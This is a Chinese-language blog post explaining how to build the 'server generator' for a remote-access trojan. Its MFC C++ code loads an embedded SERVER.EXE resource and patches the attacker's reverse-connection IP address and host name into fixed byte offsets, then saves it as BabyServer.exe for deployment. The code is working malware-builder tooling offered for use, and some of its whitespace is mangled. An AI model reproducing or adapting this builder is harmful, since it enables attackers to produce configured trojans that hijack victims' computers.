木马服务端生成技术详解

实现思路很简单 用16进制工具 打开.EXE文件 找到要替换的内容地址 进行更新写入就可以了

注意点: 地址是从0开始的如下图所示的 地址应该是:0X5124

其实改写代码如下:

void ServerConfig::OnCreate()
... {
UpdateData();
if(m_ip.IsEmpty()||m_name.IsEmpty())
...{
MessageBox(
"请输入反向连接的IP地址和主机上线名称");
}


DWORDdwSize,dwWritten;
HRSRChr
=FindResource(0,MAKEINTRESOURCE(IDR_SERVER),"SERVER");//查找资源
if(hr==NULL)MessageBox("hrerror");

dwSize
=SizeofResource(NULL,hr);

HGLOBALhg
=LoadResource(NULL,hr);//加载资源

if(hg==NULL)MessageBox("hgerror");

LPSTRlp
=(LPSTR)LockResource(hg);//锁定资源

if(lp==NULL)MessageBox("lperror");


LPBYTEp
=(LPBYTE)GlobalAlloc(GPTR,dwSize);
if(p==NULL)MessageBox("lperror");

CopyMemory((LPVOID)p,(LPCVOID)LockResource(hg),dwSize);
//复制资源数据
CopyMemory((LPVOID)(p+0x5020),(LPCVOID)m_name.LockBuffer(),MAX_PATH);//写入主机名称信息
CopyMemory((LPVOID)(p+0x5124),(LPCVOID)m_ip.LockBuffer(),15);//写入主机名称信息

/**//*本地文件路径*/

CStringSaveFilePath;
BROWSEINFObi;
ZeroMemory(
&bi,sizeof(BROWSEINFO));
bi.hwndOwner
=GetSafeHwnd();
bi.lpszTitle
="将文件保存到";
LPITEMIDLISTidl
=SHBrowseForFolder(&bi);
if(idl==NULL)
return;
SHGetPathFromIDList(idl,SaveFilePath.LockBuffer());

strcat(SaveFilePath.LockBuffer(),
"\");
strcat(SaveFilePath.LockBuffer(),
"BabyServer.exe");



HANDLEhFile;
hFile
=CreateFile(SaveFilePath.LockBuffer(),GENERIC_WRITE,0,NULL,CREATE_ALWAYS,0,NULL);//创建文件
if(hFile==NULL)MessageBox("fileerror");
elseMessageBox("服务端文件生成成功!");
WriteFile(hFile,(LPCVOID)p,dwSize,
&dwWritten,NULL);//写入文件
CloseHandle(hFile);


}

IDC_SERVER为引入的SERVER.EXE资源文件 SERVER为 资源类类型

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值